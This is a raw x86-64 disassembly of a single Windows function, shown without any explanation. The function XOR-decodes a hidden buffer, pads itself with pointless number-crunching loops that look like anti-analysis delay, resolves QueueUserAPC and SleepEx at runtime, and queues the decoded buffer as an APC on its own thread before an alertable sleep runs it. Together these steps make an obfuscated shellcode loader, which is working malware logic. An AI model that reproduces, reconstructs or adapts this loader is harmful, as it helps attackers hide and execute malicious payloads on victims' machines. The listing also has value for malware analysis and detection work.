movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x79c]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x7a0]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x79c], 0x74
jne 0x1400029bf
mov dword [rbp + 0x79c], 0
mov qword [rbp + 0x788], 0
mov dword [rbp + 0x790], 0x291
jmp 0x1400029b4
mov eax, dword [rbp + 0x790]
cdqe
add qword [rbp + 0x788], rax
sub dword [rbp + 0x790], 1
cmp dword [rbp + 0x790], 0
jg 0x14000299e
jmp 0x1400029c6
add dword [rbp + 0x79c], 1
add dword [rbp + 0x7a0], 1
mov eax, dword [rbp + 0x7a0]
cmp eax, 0x41
jbe 0x14000294c
mov dword [rbp + 0x7a0], 0
jmp 0x140002b18
mov eax, dword [rbp + 0x7a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x620]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x798]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7a0]
movsxd rdx, eax
mov rax, qword [rbp + 0x620]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x780], 1
jmp 0x140002ae5
mov dword [rbp + 0x784], 0
mov eax, dword [rbp + 0x780]
mov dword [rbp + 0x77c], eax
jmp 0x140002abb
mov edx, dword [rbp + 0x77c]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x5e0], edx
mov eax, dword [rbp + 0x5e0]
imul eax, eax
imul eax, dword [rbp + 0x5e0]
add dword [rbp + 0x784], eax
mov eax, dword [rbp + 0x77c]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x77c], eax
cmp dword [rbp + 0x77c], 0
jne 0x140002a50
mov eax, dword [rbp + 0x784]
cmp eax, dword [rbp + 0x780]
jne 0x140002ade
mov eax, dword [rbp + 0x780]
mov dword [rbp + 0x5e4], eax
add dword [rbp + 0x780], 1
cmp dword [rbp + 0x780], 0x268
jle 0x140002a38
cmp dword [rbp + 0x798], 0x41
jne 0x140002b0a
mov dword [rbp + 0x798], 0
jmp 0x140002b11
add dword [rbp + 0x798], 1
add dword [rbp + 0x7a0], 1
cmp dword [rbp + 0x7a0], 0x490
jle 0x1400029eb
mov rax, qword [rbp + 0x620]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x768]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5f8]
mov r9, qword [rbp + 0x5f0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5e8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x7f0]
add rsp, 0x888
pop rbx
pop rsi
pop rdi
pop rbp
ret